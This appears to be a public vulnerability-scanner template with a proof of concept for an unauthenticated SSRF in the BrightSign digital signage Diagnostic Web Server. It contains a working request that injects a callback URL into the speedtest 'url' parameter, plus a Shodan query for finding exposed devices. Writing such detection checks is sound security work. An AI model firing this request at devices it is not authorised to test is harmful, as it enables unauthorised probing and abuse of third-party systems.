Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.
PoC代码[已公开]
id: brightsign-dsdws-ssrf
info:
name: BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated - SSRF
author: 0x_Akoko
severity: medium
description: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.
reference:
- https://brightsign.zendesk.com/hc/en-us/articles/360056180694-Regarding-Advisory-ID-ZSL-2020-5595
- https://www.zeroscience.mk/codes/brightsign_ssrf.txt
metadata:
verified: true
max-request: 1
shodan-query: title:"BrightSign"
tags: ssrf,brightsign,unauth,vuln
http:
- method: GET
path:
- '{{BaseURL}}/speedtest?url={{interactsh-url}}'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: dsl
dsl:
- 'contains(body_1, "Downloaded")'
# digest: 4a0a004730450221008949ac1dfe1576c350e6a2b22353fc3c4412689b407c74c6a1c6bdd341a157a902200e60490d596ae0422f92eedc938c2fdcaf36d9a2a3e0754d334f0133196ec910:922c64590222798bb761d5b6d8e72950